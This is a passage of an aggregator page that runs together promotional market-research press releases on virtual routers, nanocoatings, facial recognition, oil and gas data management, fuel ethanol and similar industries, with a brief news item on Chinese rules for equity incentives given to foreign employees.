Type, the product can be split into:Medical DeviceSystems & SoftwareServiceConnectivity TechnologyMarket segment by Application, split into:TelemedicineWork Flow ManagementConnected ImagingMedication ManagementObjectives of IoT Healthcare Market report are:To study and forecast the market size of IoT Healthcare in global market.To analyze the global key players, SWOT analysis, value and global market share for top players.To define, describe and forecast the IoT Healthcare Market by type, end use and region.For more Information:About Us:Absolute Markets Insights is a global market research company taking into account leading businesses, colleges, universities, non-profit organizations, and government foundations. Absolute Markets Insights is dedicated to presenting you an ideal blend of data parameters. Our reports depend on the research and analysis that covers a magnitude of factors, for example, industry research, market sizing and forecasts, technological advancements, innovation trends, financial growth, pricing trends, competitive insights, and an in-depth study of market segments.Contact Name:Absolute Markets InsightsShreyas Tannasales@absolutemarketsinsights.com74002424241 st Floor, The Work Lab,Model Colony, Shivajinagar, Pune, MH, Pin  411016Virtual Router Market 2019 Revenue and Analysis | Brocade Communications Systems, Hewlett Packard Enterprise Company, Arista Networks Inc., ZTE Corporation, Carbyne, Palo Alto Networks

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Global Virtual Router Market Research Report, By Component (Solution, Services), By Type (Custom, Predefined), By End- Users (Service Providers, Enterprises), By Region (North America, Europe, Asia-Pacific, and Rest of the World)  Forecast till 2023Key PlayersThe prominent players in the virtual router are IBM Corporation (US), Cisco Systems (US), Ericsson Inc. (US), Huawei Technologies Co., Ltd. (US), Nokia Corporation (Finland), Juniper Networks Inc. (US), netElastic Systems Inc. (US), Brocade Communications Systems (US), Hewlett Packard Enterprise Company (US), Arista Networks Inc. (US), ZTE Corporation (China), Carbyne (Israel), Palo Alto Networks (US), Check Point Software Technologies (Israel), Ross Video (Canada), Inventum (India), DriveNets (Israel), 128 Technology Inc. (US), TRENDnet Inc. (US), Belkin International Inc. (US), TIME dotCom Berhad (Malaysia), ACCESS (Japan), Allied Telesis Inc. (Japan), Connectify Inc. (US), and 6WIND S.A. (France).Get Sample Report @Market SynopsisA virtual router is a virtual representation or software instantiation of a hardware router. A virtual router is software-based routing framework that replicates the functionalities of a hardware-based Layer 3 IP router. Virtual routers incorporate Virtual Router Redundancy Protocol (VRRP) to enable a computer or server to perform network and packet routing functionalities of the router via software application which increases the reliability of the network. Furthermore, virtual router software can be hosted and migrated on any hardware device which allows decoupling of hardware and software facilitating dynamic and holistic network management. Virtual routers are majorly adopted in IT & telecommunication industry by service providers and in data centers due to benefits such as low costs for hardware maintenance and infrastructure, flexibility to migrate IP routing functions in a network or data center, and uninterrupted service across the entire network. Virtual routers through virtual IP routing provides service agility by increasing the rate at which services can be created and delivered as new services can be scaled and deployed without deployment of new hardware. Virtual routers also enable optimization of capital expenditure (CapEx) and lowers operational expenditures (OpEx).Juniper Networks, one of the leading virtual routing solutions provider, offers vMX virtual router which runs on the Junos operating system offering enhanced routing services that support businesses, broadband services, and customer premise equipment (CPE). vMX provides features such as network function virtualization (NFV) optimization, faster deployment models, cost-effective network scale-out with subscription-based licensing. Virtual router market is considerably driven by increasing penetration of software defined networking (SDN) and network function virtualization (NFV). Virtual router market is expected to grow with the growing need for mobility, rising penetration of software-defined WAN, high demand for private cloud and virtual router applications across various industry verticals such as BFSI, manufacturing, healthcare, and telecommunication.The global virtual router market is expected to generate a market value of USD 327 million by 2023, growing at a 22.47% CAGR during the forecast period 20182023.SegmentationVirtual router market study aims at different segments such as component, type, end-user, regions, and estimating market growth across these segments.By component, the market is segmented into solution and service. The solution is further sub-segmented into integrated solution and standalone solution. The service is further sub-segmented into professional services and managed services.By type, the market is segmented into custom and predefined virtual routers.By end-user, the market is segmented into service provider and enterprises. The service provider is sub-segmented into data center, telecom and cloud. The enterprises is sub-segmented into banking, financial services and insurance (BFSI), healthcare, manufacturing, government, education, and others.By region, the market is segmented into North America, Europe, Asia-Pacific, and the rest of the world.Get Report Details @Regional AnalysisThe global market for virtual router is estimated to grow at a significant rate during the forecast period from 2018 to 2023. The geographical analysis of virtual router market is studied for North America, Europe, Asia-Pacific, and the rest of the world. North America holds the largest market share for virtual router market due to increasing adoption of virtual routers by service providers and huge investments by key market players such as Cisco Systems, IBM Corporation, Juniper Networks and others for development of virtual router solutions in the US, Canada, and Mexico. Asia-Pacific is expected to be the fastest growing region in the virtual router market due to growing penetration of software defined networking (SDN) and network function virtualization (NFV) in countries such as China, India, Japan, and others.Intended Audience Network service/solution provider System Integrators Mobile network operators Telecom and ISP providers Government Council IT suppliers Data center software providers Cloud service providersTABLE OF CONTENTS1 Executive Summary2 Scope Of The Report2.1 Market Definition2.2 Scope Of The Study2.2.1 Research Objectives2.2.2 Assumptions & Limitations2.3 Markets Structure3 Market Research Methodology3.1 Research Process3.2 Secondary Research3.3 Primary Research3.4 Forecast Model4 Market LandscapeContinued.LIST OF TABLESTable 1 Global Virtual Router Market Market, By Region, 20182023Table 2 North America: Virtual Router Market Market, By Country, 20182023Table 3 Europe: Virtual Router Market Market, By Country, 20182023Table 4 Asia-Pacific: Virtual Router Market, By Country, 20182023Table 5 Rest Of The World: Virtual Router Market, By Country, 20182023Continued..Get More Information @LIST OF FIGURESFIGURE 1 Global Virtual Router Market SegmentationFIGURE 2 Forecast MethodologyFIGURE 3 Porters Five Forces Analysis Of Global Virtual Router MarketFIGURE 4 Value Chain Of Global Virtual Router MarketFIGURE 5 Share Of Global Virtual Router Market In 2017, By Country (In %)Continued.About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by Components, Application, Logistics and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst membersContact:Market Research Future+1 646 845 9312Email: sales@marketresearchfuture.comAerospace Applications Nanocoatings Market Expected to Grow Rapidly with Top Players- PPG Industries, Mankiewicz Gebr. & Co., Akzonobel, BASF SE, The Sherwin-Williams Company, Hentzen Coatings | Forecast 2019-2024

Aerospace Applications Nanocoatings Market

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Aerospace Applications Nanocoatings Market Research Report 2019 covers market characteristics, growth, segmentation, regional breakdowns, competitive landscape, market shares, trends and strategies for this market. The market size section gives the market revenues, covering both the historic growth of the market and forecasting the future. Drivers and restraints look at the external factors influencing the growth of the market.Get Sample Copy atAs nanocoatings are predicted to contribute to the safety of aircraft and spacecraft, such changes in regulations are likely to affect the future prospects of the aerospace nanocoatings market. Despite the increase in the number of application areas of aerospace nanocoatings, funding has considerably decreased. High usage of coatings in aircraft manufacturing will primarily escalate the revenue generation. Rising number of aircraft deliveries has led to increased production of aircrafts, further strengthening the product penetration.Aircraft producers are focusing on using high quality paints and coatings in their manufacturing process. The business is witnessing regular innovations to reduce the overall manufacturing cost and enhance the product efficiency. Nano coatings has gained prominence in the industry in last decade owing to benefits offered such as resistance to dirt and retention of shiny colors for longer duration.Overall, nanocoatings are safer than the existing coatings, as they emit lesser volatile organic compounds (VOC) and employ thermal spray and diamond-like technologies, which are non-hazardous when compared to electroplating chrome technologies and organic paints.The Global Aerospace Applications Nanocoatings Industry report delivers a comprehensive and systematic framework of the Aerospace Applications Nanocoatings market at a global level that includes all the key aspects related to it. The data is collected from different sources allied to the global Aerospace Applications Nanocoatings market and the research team meticulously analyze the gathered data with the help of various analytical tools and present their opinion based on analysis and calculations.No. of Pages: 140The information for each competitor includes: Company Profile Main Business Information SWOT Analysis Sales, Revenue, Price and Gross Margin Market ShareInquire more or share questions if any before the purchase on this report @The report inspects the Aerospace Applications Nanocoatings market overview, presenting the Aerospace Applications Nanocoatings industry Definition, Specification, and Categorization. The report contains the Aerospace Applications Nanocoatings market size, market earnings, evolution opportunities and evaluation in forthcoming years. The report on Aerospace Applications Nanocoatings market also provides the Aerospace Applications Nanocoatings production cost framework analysis, Aerospace Applications Nanocoatings industry chain framework, raw materials, suppliers, and Aerospace Applications Nanocoatings process analysis. Furthermore, the report classifies the Aerospace Applications Nanocoatings market on the basis of elementary parameters and analyzes the Aerospace Applications Nanocoatings market position, market perspective and Aerospace Applications Nanocoatings industry top participants in the global market.Influence of the Aerospace Applications Nanocoatings market report: Comprehensive assessment of all opportunities and risk in the Aerospace Applications Nanocoatings market. Aerospace Applications Nanocoatings market recent innovations and major events. Detailed study of business strategies for growth of the Aerospace Applications Nanocoatings market-leading players. Conclusive study about the growth plot of Aerospace Applications Nanocoatings market for forthcoming years. In-depth understanding of Aerospace Applications Nanocoatings market-particular drivers, constraints and major micro markets. Favorable impression inside vital technological and market latest trends striking the Aerospace Applications Nanocoatings market.Order a copy of Global Aerospace Applications Nanocoatings Market Report 2019 @For product type segment, this report listed main product type of Aerospace Applications Nanocoatings market Product Type I Product Type II Product Type IIIFor end use/application segment, this report focuses on the status and outlook for key applications. End users sre also listed. Application I Application II Application IIIMajor Points Covered in Table of Contents:1 Global Aerospace Applications Nanocoatings Market Overview2 Global Aerospace Applications Nanocoatings Market Competitions by Manufacturers3 Global Aerospace Applications Nanocoatings Capacities, Production, Revenue (Value) by Region4 Global Aerospace Applications Nanocoatings Supply (Production), Consumption, Export, Import by Region5 Global Aerospace Applications Nanocoatings Productions, Revenue (Value), Price Trend by Type6 Global Aerospace Applications Nanocoatings Market Analyses by Application7 Global Aerospace Applications Nanocoatings Manufacturers Profiles/Analysis8 Aerospace Applications Nanocoatings Manufacturing Cost Analysis9 Industrial Chain, Sourcing Strategy and Downstream Buyers10 Marketing Strategy Analyses, Distributors/Traders11 Market Effect Factors Analysis12 Global Aerospace Applications Nanocoatings Market Forecast13 Research Findings and Conclusion14 AppendixesAbout UsOrian Research is one of the most comprehensive collections of market intelligence reports on the World Wide Web. Our reports repository boasts of over 500000+ industry and country research reports from over 100 top publishers. We continuously update our repository so as to provide our clients easy access to the world's most complete and current database of expert insights on global industries, companies, and products. We also specialize in custom research in situations where our syndicate research offerings do not meet the specific requirements of our esteemed clients.Contact UsRuwin MendezVice President  Global Sales & Partner RelationsOrian Research ConsultantsUS +1 (415) 830-3727 | UK +44 020 8144-71-27Email: info@orianresearch.comWebsite:Follow Us on LinkedIn:Global Facial Recognition Market To 2025 By Top Key Players NEC Corporation, 3M Cogent, Aware Inc., Animetrics Inc., Precise Biometrics, Aurora Computer Services Ltd

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Global Facial Recognition Market to reach USD XXX billion by 2025. Global Facial Recognition Market valued approximately USD XXX billion in 2016 is forecasted to grow with a healthy growth rate of more than XX% over the forecast period 2018-2025. The major factors speculated to augment the markets are growing security requirements in government sectors for employee attendance and identification. Facial recognition is a biometric technology which provides high-level security for public and private sectors. It considers selected facial features and compares them with a database to provide authorization. Facial recognition system includes software, readers, and related database for providing accuracy along with security.Get Sample Copy Of This Report @The regional analysis of Global Facial Recognition Market is considered for the key regions such as Asia Pacific, North America, Europe, Latin America and Rest of the World. North American region is the leading region across the world in terms of market share. Whereas, owing to countries viz. India, Indonesia, China, and Japan, the Asia Pacific region is expected to exhibit higher growth rate / CAGR over the forecast period 2018-2025.The objective of the study is to define market sizes of different segments & countries in recent years and to forecast the values to the coming eight years. The report is designed to incorporate both qualitative and quantitative aspects of the industry within each of the regions and countries involved in the study.Furthermore, the report also caters the detailed information about the crucial aspects such as driving factors & challenges which will define the future growth of the market. Additionally, the report shall also incorporate available opportunities in micro markets for stakeholders to invest along with the detailed analysis of competitive landscape and product offerings of key players.The leading Market Players -NEC Corporation, 3M Cogent, Aware Inc., Animetrics Inc., Precise Biometrics, Aurora Computer Services Ltd., Ayonix Inc., Nuance Communications, FaceFirst, Safran Group, and so on.The fierce competitiveness has made these players spend in product developments to improve the customers requirements.The Detailed Segments And Sub-Segment :By Technology: 2D 3D Facial AnalyticsBy Application: Financial Services & Banking Homeland Security Government Retail Military OthersGet Purchase Inquiry @By Regions: North America Europe Asia Pacific Latin America Rest of the WorldYears considered For Study: Historical year 2015 , 2016 Base year 2017 Forecast period 2018 to 2025Target Audience : Key Consulting Companies & Advisors Large, medium-sized, and small enterprises Venture capitalists Value-Added Resellers (VARs) Third-party knowledge providers Investment bankers InvestorsGet Purchase Discount @About Us:Big Market Research has a range of research reports from various publishers across the world.Our database of reports of various market categories and sub-categories would help to find the exact report you may be looking for.We are instrumental in providing quantitative and qualitative insights on your area of interest by bringing reports from various publishers at one place to save your time and money. A lot of organizations across the world are gaining profits and great benefits from information gained through reports sourced by us.Contact Us:5933 NE Win Sivers Drive, #205, Portland,OR 97220 United StatesDirect: +1-971-202-1575Toll Free: +1-800-910-6452E-mail help@bigmarketresearch.comOil & Gas Data Management Market Insights 2026| Key Players - Capgemini S.A., EMC Corporation, IBM Corporation, Newgen Software, Inc., Cisco Systems, Inc., SAP SE, Tata Consultancy Services Ltd

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The oil & gas data management market report provides analysis for the period 2016  2026, wherein the period from 2018 to 2026 is the forecast period and 2017 is the base year. The report covers all the major trends and technologies playing an influential role in the markets growth over the forecast period. It also highlights the drivers, restraints, and opportunities for the analysis of market growth during the said period. The study provides a complete perspective on the evolution of the global oil & gas data management market throughout the above mentioned forecast period in terms of revenue (US$ Mn).Get Report Sample Copy Now @The market overview section of the report demonstrates market dynamics such as drivers, restraints, and opportunities that influence the current nature and future status of this market, key market indicators, integration challenges, end-user adoption analysis, and key trends of the market. Further, key market indicators included in the report provide the significant factors which are capable of changing the market scenario. These indicators are expected to define the market position during the forecast period and provide an overview about the global oil & gas data management market. A market attractiveness analysis has also been provided for every segment in the report, in order to present a thorough understanding of the overall scenario in the oil & gas data management market. The report also offers an overview of various strategies adopted by key players in the market.The oil & gas data management market has been segmented in terms of component, and region. In terms of component, the market has been segmented into solution and services. The solution segment is further classified into corporate/enterprise data management system, project data management system, and national data repository. The national data repository sub segment consists of seismic data management system, well data management system, project data management system, and borehole data management system. The services segment has been bifurcated into consulting & planning, integration & implementation, and operation & maintenance. Geographically, the market has been segmented into North America, Europe, Asia Pacific, Middle East & Africa, and South America.The report also highlights the competitive landscape of the global oil & gas data management market, positioning all the major players according to their presence in different regions of the world and recent key developments initiated by them in the industry. The comprehensive oil & gas data management market estimates are the result of our in-depth secondary research, primary interviews, and in-house expert panel reviews. These market estimates have been analyzed by taking into account the impact of different political, social, economic, and technological factors along with the current market dynamics affecting the oil & gas data management market growth.This report provides all the essential information required to understand the key developments in the oil & gas data management market, and growth trends of each segment and region. It also includes strategies of companies, financial information, SWOT analysis, and developments under the company profile section. Also, the report provides insights related to trends and their impact on the market. Furthermore, Porters Five Forces analysis explains the five forces, namely buyers bargaining power, suppliers bargaining power, threat of new entrants, threat of substitutes, and degree of competition in the oil & gas data management market. This report also provides a comprehensive ecosystem analysis for the oil & gas data management market. It explains the various participants including software & third-party vendors, system integrators, and distribution channels within the value chain operating in the market.Outlook Complete Research Report with TOC @The research methodology is a perfect combination of primary research, secondary research, and expert panel reviews. Secondary research sources such as annual reports, company websites, broker reports, financial reports, SEC filings and investor presentations, national government documents, internal and external proprietary databases, statistical databases, relevant patent and regulatory databases, market reports, government publications, World Bank database, and industry white papers are referred.Primary research involves telephonic interviews, e-mail interactions and face-to-face interviews for detailed and unbiased reviews on the oil & gas data management market across geographies. Primary interviews are usually conducted on an ongoing basis with industry experts and participants in order to get the latest market insights and validate the existing data and analysis. Primary interviews offer firsthand information on important factors such as market trends, market size, competitive landscape, growth trends, and outlook. These factors help to validate and strengthen secondary research findings and also help to develop the analysis teams expertise and market understanding. Moreover, the data collected and analyzed from secondary and primary research is again discussed and examined by our expert panel.The global oil & gas data management market report provides company market share analysis of the various key participants. Some of the key players profiled in the report include Capgemini S.A., EMC Corporation, IBM Corporation, Newgen Software, Inc., Cisco Systems, Inc., SAP SE, Tata Consultancy Services Ltd., Oracle Corporation, Halliburton, Informatica Corporation, and Schlumberger Limited.Enquire now for Further Assistance @About Market Research Reports Search Engine (MRRSE)Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.Contact UsState Tower90, State StreetSuite 700Albany, NY - 12207United States Telephone: +1-518-730-0559Nano Crystalline Soft Magnetic Materials Market Trends, Regulations And Competitive Landscape Outlook to 2028

Nano Crystalline Soft Magnetic Materials

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Leading players in the market are expanding their production capacity to cater growing demand for soft magnetic materials with high-performance characteristics. Hitachi, the pioneer of nano-crystalline soft magnetic materials, in 2017, announced its plan of tripling its production capacity of Finemet nano-crystalline soft magnetic material. The company aims at completion of boosting its production capacity by 2018-end. A new Fact.MR study has envisaged the nano-crystalline soft magnetic materials market to reflect a splendid 10.1% value CAGR in the period of forecast, 2018 to 2028.Request Sample Report @Nano-Crystalline Soft Magnetic Materials Complement Development of Next-Gen Noise Suppression SolutionsInnovative soft magnetic materials have become the new normal in electrical engineering, thereby leading to advanced component developments. Toroidal tape-wound cores produced by using nano-crystalline soft magnetic materials such as Vitroperm have been deemed highly effective for interference suppression in common-mode chokes (CMC). Vitroperm has established itself as universal solution for various EMC problems via its incorporation of affordable alloy constituents and large-scale production lines.Leading industry stakeholders, such as SCHURTER, have expanded their range of existing compensated chokes with the high-current types for use in PCB mounting. The new DKIH series of SCHURTER incorporates a nano-crystalline core, which imparts higher inductance (8x) than the ferrite core versions when placed in similar compact dimension. Open designs are a key focus area among producers of chokes having nano-crystalline soft magnetic materials as their core, which in turn suppress electromagnetic interference (EMI) noise produced by power applications on PCB.Request/View Toc@Nano-Crystalline Soft Magnetic Materials: Opportunities Abundant in Automotive and Power Transmission ApplicationsElectrical systems have perceived increased penetration in automobiles for catering demands of enhanced vehicle reliability and energy efficiency. Compact electrical components are being used as a replacement for large components such as inductors. Inclining interest of automotive manufacturers toward compact dimensions to optimize the operational efficiency of vehicles will create huge opportunities for nano-crystalline soft magnetic materials in the upcoming years. One such fast-emerging application is electro-mobility, wherein these materials are used to counter EMI noise as well as in next-generation semiconductors that include GaN and SiC.Relatively lower energy loss at low frequency is a distinguishing property of nano-crystalline soft magnetic materials, which has extended their application scope into transformers. These materials tackle energy loss issues faced in transformers, while enabling downsizing of the system. High magnetic permeability, along with robust flux density, of nano-crystalline soft magnetic materials has propelled their employment in power transmission industry, witnessing increased used as transformer cores. Upward trend toward energy conservation has further attracted transformer manufacturers interest in using nano-crystalline soft magnetic materials for large transformers.Albeit nano-crystalline soft magnetic materials market is at its nascent phase, increased exploration efforts by researchers worldwide is likely to expand the application potential of these materials. Applications of these materials, currently based on singular property, are expected to perceive combination of various desirable properties in the foreseeable future.Speak To Research Analyst for Detailed Insights @Table of Contents Covered in the report are:1. Executive Summary1.1. Summarizing Key Findings1.2. Opportunity Assessment1.3. Highlighting Action Area  Wheel of Fortune2. Global Nano-Crystalline Soft Magnetic Material Market Overview2.1. Introduction2.2. Market Definition and Scope2.3. Market Taxonomy and Segments Captured3. Global Nano-Crystalline Soft Magnetic Material Market Outlook3.1. Market Size (US$ Mn) & Volume (tons) and Forecast, 2013-20283.2. Market Y-o-Y Growth3.3. Forecast Factors and Relevance of Impact4. Global Nano-Crystalline Soft Magnetic Material Market Dynamics4.1. Drivers4.2. Restraints4.3. Opportunities4.4. TrendsAccess This Report @5. Supply Chain and Value Chain Assessment6. Actionable Insights and Analysis6.1. Cost Structure6.2. PESTLE Analysis6.3. Porter's Five Forces Analysis6.4. Product Life Cycle6.5. Competition Footprint Matrix6.6. Key Participants Market Presence (Intensity Map) By Region7. Global Nano-Crystalline Soft Magnetic Material Market Analysis and Forecast by Type, 2013-20287.1. Analysis and Forecast by Classification Type7.1.1. Revenue (US$ Mn) & Volume (tons) Comparison, By Region7.1.2. Market Share Comparison, By Region7.1.3. Y-o-Y growth Comparison, By Region7.2. Analysis and Forecast By Application7.2.1. Revenue (US$ Mn) & Volume (tons) Comparison, By Region7.2.2. Market Share Comparison, By Region7.2.3. Y-o-Y growth Comparison, By Region7.3. Analysis and Forecast By End-use Industry7.3.1. Revenue (US$ Mn) & Volume (tons) Comparison, By Region7.3.2. Market Share Comparison, By Region7.3.3. Y-o-Y growth Comparison, By Region8. North America Nano-Crystalline Soft Magnetic Material Market Analysis, 2013-20288.1. Revenue (US$ Mn) & Volume (tons) Comparison, By Country8.1.1. US Market Size & Forecast Value (US$ Mn) & Volume (tons)8.1.2. Canada Market Size & Forecast Value (US$ Mn) & Volume (tons)8.2. Revenue (US$ Mn) & Volume (tons), By Classification Type8.3. Revenue (US$ Mn) & Volume (tons), By Application8.4. Revenue (US$ Mn) & Volume (tons), By End-use Industry9. Latin America Nano-Crystalline Soft Magnetic Material Market Analysis, 2013-20289.1. Revenue (US$ Mn) & Volume (tons), By Country9.1.1. Brazil Market Size & Forecast Value (US$ Mn) & Volume (tons)9.1.2. Mexico Market Size & Forecast Value (US$ Mn) & Volume (tons)9.1.3. Argentina Market Size & Forecast Value (US$ Mn) & Volume (tons)9.1.4. Rest of Latin America Market Size & Forecast Value (US$ Mn) & Volume (tons)9.2. Revenue (US$ Mn) & Volume (tons), By Classification Type9.3. Revenue (US$ Mn) & Volume (tons), By Application9.4. Revenue (US$ Mn) & Volume (tons), By End-use Industry10. Western Europe Nano-Crystalline Soft Magnetic Material Market Size and Forecast, 2013-202810.1. Revenue (US$ Mn) & Volume (tons) Comparison, By Country10.1.1. Germany Market Size and Forecast Value (US$ Mn) & Volume (tons)10.1.2. UK Market Size and Forecast Value (US$ Mn) & Volume (tons)10.1.3. France Market Size and Forecast Value (US$ Mn) & Volume (tons)10.1.4. Italy Market Size and Forecast Value (US$ Mn) & Volume (tons)10.1.5. Spain Market Size and Forecast Value (US$ Mn) & Volume (tons)10.1.6. Nordic Market Size and Forecast Value (US$ Mn) & Volume (tons)10.1.7. BENELUX Market Size and Forecast Value (US$ Mn) & Volume (tons)10.1.8. Rest Of Western Europe Market Size and Forecast Value (US$ Mn) & Volume (tons)10.2. Revenue (US$ Mn) & Volume (tons), By Classification Type10.3. Revenue (US$ Mn) & Volume (tons), By Application10.4. Revenue (US$ Mn) & Volume (tons), By End-use IndustryAnd Continue....About FactMRFactMR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market research reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports.Contact UsFactMR11140 Rockville PikeSuite 400Rockville, MD 20852United StatesEmail: sales@factmr.comWeb:Follow Us on Linkedin:Hookah Charcoal Market To 2024 By Top Key Players FirdauzCharcoal , COCO NARA , Haze Tobacco , LLC,Starlight Charcoal

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Hookah Charcoal Market Insights 2019, Global and Chinese Scenario is a professional and in-depth study on the current state of the global Hookah Charcoal industry with a focus on the Chinese market. The report provides key statistics on the market status of the Hookah Charcoal manufacturers and is a valuable source of guidance and direction for companies and individuals interested in the industry. Overall, the report provides an in-depth insight of 2014-2024 global and Chinese Hookah Charcoal market covering all important parameters.Get Sample Copy Of This Report @The Key Points:1.The report provides a basic overview of the industry including its definition, applications and manufacturing technology.2.The report explores the international and Chinese major industry players in detail. In this part, the report presents the company profile, product specifications, capacity, production value, and 2014-2019 market shares for each company.3.Through the statistical analysis, the report depicts the global and Chinese total market of Hookah Charcoal industry including capacity, production, production value, cost/profit, supply/demand and Chinese import/export.4.The total market is further divided by company, by country, and by application/type for the competitive landscape analysis.5.The report then estimates 2019-2024 market development trends of Hookah Charcoal industry. Analysis of upstream raw materials, downstream demand, and current market dynamics is also carried out.6.The report makes some important proposals for a new project of Hookah Charcoal Industry before evaluating its feasibility.There are 3 key segments covered in this report: competitor segment, product type segment, end use/application segment.For competitor segment, the report includes global key players of Hookah Charcoal as well as some small players. At least 5 companies are included:* FirdauzCharcoal* COCO NARA* Haze Tobacco* LLC* Starlight CharcoalThe information for each competitor includes:* Company Profile* Main Business Information* SWOT Analysis* Sales, Revenue, Price and Gross Margin* Market ShareFor product type segment, this report listed main product type of Hookah Charcoal market in gloabal and china.* Natural coal* Non-naturalFor end use/application segment, this report focuses on the status and outlook for key applications. End users sre also listed.* Home* CommercialGet Purchase Inquiry @Reasons to Purchase this Report:* Estimates 2019-2024 Hookah Charcoal market development trends with the recent trends and SWOT analysis* Market dynamics scenario, along with growth opportunities of the market in the years to come* Market segmentation analysis including qualitative and quantitative research incorporating the impact of economic and policy aspects* Regional and country level analysis integrating the demand and supply forces that are influencing the growth of the market.* Market value (USD Million) and volume (Units Million) data for each segment and sub-segment* Competitive landscape involving the market share of major players, along with the new projects and strategies adopted by players in the past five years* Comprehensive company profiles covering the product offerings, key financial information, recent developments, SWOT analysis, and strategies employed by the major market players* 1-year analyst support, along with the data support in excel format.Get Purchase Discount @About Us:Big Market Research has a range of research reports from various publishers across the world.Our database of reports of various market categories and sub-categories would help to find the exact report you may be looking for.We are instrumental in providing quantitative and qualitative insights on your area of interest by bringing reports from various publishers at one place to save your time and money. A lot of organizations across the world are gaining profits and great benefits from information gained through reports sourced by us.Contact Us:5933 NE Win Sivers Drive, #205, Portland,OR 97220 United StatesDirect: +1-971-202-1575Toll Free: +1-800-910-6452E-mail help@bigmarketresearch.comFuel Ethanol Industry 2019 to 2023 Size, Share, Features, Demand, Top Key Players: The Andersons Inc., Archer Daniels Midland Company, Blue Fire Renewables, BP PLC, Cargill Incorporated and etc

Fuel Ethanol Market Share, Fuel Ethanol Market Size, Fuel Ethanol Industry, Fuel Ethanol Business

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Fuel Ethanol Market Overview:With very limited membership in the global petroleum business, search for alternatives is always on. One such alternative is ethanol. Market Research Future (MRFR) has published a research report about Global Fuel Ethanol Market that estimates rise for this market with 6.40% CAGR (Compound Annual Growth Rate) for this market between 2017 and 2023. In terms of value, the market that is worth the US $ 68.6 bn in 2016 is expected to be worth the US $ 99 bn in 2023.Get Sample Report @Fuel Ethanol Market Key Players:Key players in the Global Fuel Ethanol Market include Advanced BioEnergy LLC (USA), The Andersons, Inc. (USA), Archer Daniels Midland Company (USA), BlueFire Renewables (USA), BP PLC (UK), Cargill Incorporated (USA), Flint Hills Resources (USA), Mascoma LLC (USA), Pacific Ethanol, Inc. (USA), and Panda Energy International Inc. (USA).Fuel Ethanol Market Segmented Analysis:The Global Fuel Ethanol Market has been segmented on the basis of Application, Product Type, and Region. Based on the Applications, this market has been segmented into alcoholic beverages, automotive, chemical feedstock, pharmaceuticals, and others. On the basis of Product Types, the market has been segmented into cellulosic, starch based, and sugar based. The Regional Segmentation of the Global Fuel Ethanol Market segments the market into continent-based regional markets known as North America, Europe, Latin America, Asia Pacific, and the Middle East & Africa (MEA).Fuel Ethanol Market Regional Analysis:North America has the potential to be the largest regional market due to established automotive industry, technological advancement, rising awareness regarding the need to curb carbon emissions, and the presence of many key market players in this region. The strong country-specific markets in this region are the United States of America (USA) and Canada. The rapid technological advancement makes North America a bigger market than Latin America. In Latin America, the strongest economies that have the potential to emerge as strong markets include Argentina, Brazil, and Mexico, followed by the rest of Latin America.Europe is another important regional market due to the high density of population, government-imposed regulations regarding carbon emissions, the maximum technological advancement after North America, and established automotive industry in countries like Germany. In this region, the other major country-specific markets are France, Spain, Italy, Russia, and the United Kingdom (UK), followed by the rest of Europe.Fuel Ethanol Market Table of Content to be Continue.,Full Access Browser Report @About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by products, services, technologies, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst members.Contact:Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.comChina has rolled out new rules to support equity incentives for foreign employees at domestic listed firms in its latest efforts to further open up the capital market.

Procedures will be streamlined as the money involved will be managed in a registration-based manner, according to a statement released Tuesday by the country's central bank and forex regulator.

Related operations such as cross-border payment and remittance can be conducted after registration without having to apply for approval.

The new rules also allow foreign workers to choose the resource of the money involved in equity incentives. It can come from their legal domestic income or be remitted from overseas, the statement said.

China allowed foreign employees to enjoy equity incentives from domestic listed firms in 2016 and extended the beneficiaries from those working in the mainland to all working for the company in 2018.Global Optical Coating Systems Market| Booming worldwide by Key Players like: Korea Vac-Tec, Ultra Optics, Ningbo Junying, Chengdu Guotai, OptoTech, Coburn Technologies and Forecast to 2019-2025

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Researchmoz added Most up-to-date research on "Global Optical Coating Systems Market Research Report 2019" to its huge collection of research reports.An optical coating is one or more thin layers of material deposited on an optical component such as a lens or mirror, which alters the way in which the optic reflects and transmits light. Optical Coating System is used in optical coating process.China and Japan is remarkable in the global Optical Coating System industry because of their market share and technology status of Optical Coating System.To Get Sample Copy of Report visit @The global Optical Coating Systems market is valued at xx million US$ in 2018 is expected to reach xx million US$ by the end of 2025, growing at a CAGR of xx% during 2019-2025.This report focuses on Optical Coating Systems volume and value at global level, regional level and company level. From a global perspective, this report represents overall Optical Coating Systems market size by analyzing historical data and future prospect. Regionally, this report focuses on several key regions: North America, Europe, China and Japan.At company level, this report focuses on the production capacity, ex-factory price, revenue and market share for each manufacturer covered in this report.The following manufacturers are covered:BuhlerSatislohCoburn TechnologiesOptoTechChengdu GuotaiNingbo JunyingOptorunUltra OpticsKorea Vac-TecSegment by RegionsNorth AmericaEuropeChinaJapanSegment by TypeMetal filmOxide filmCompound filmOthersView Complete TOC with tables & Figures @Segment by ApplicationConsumer 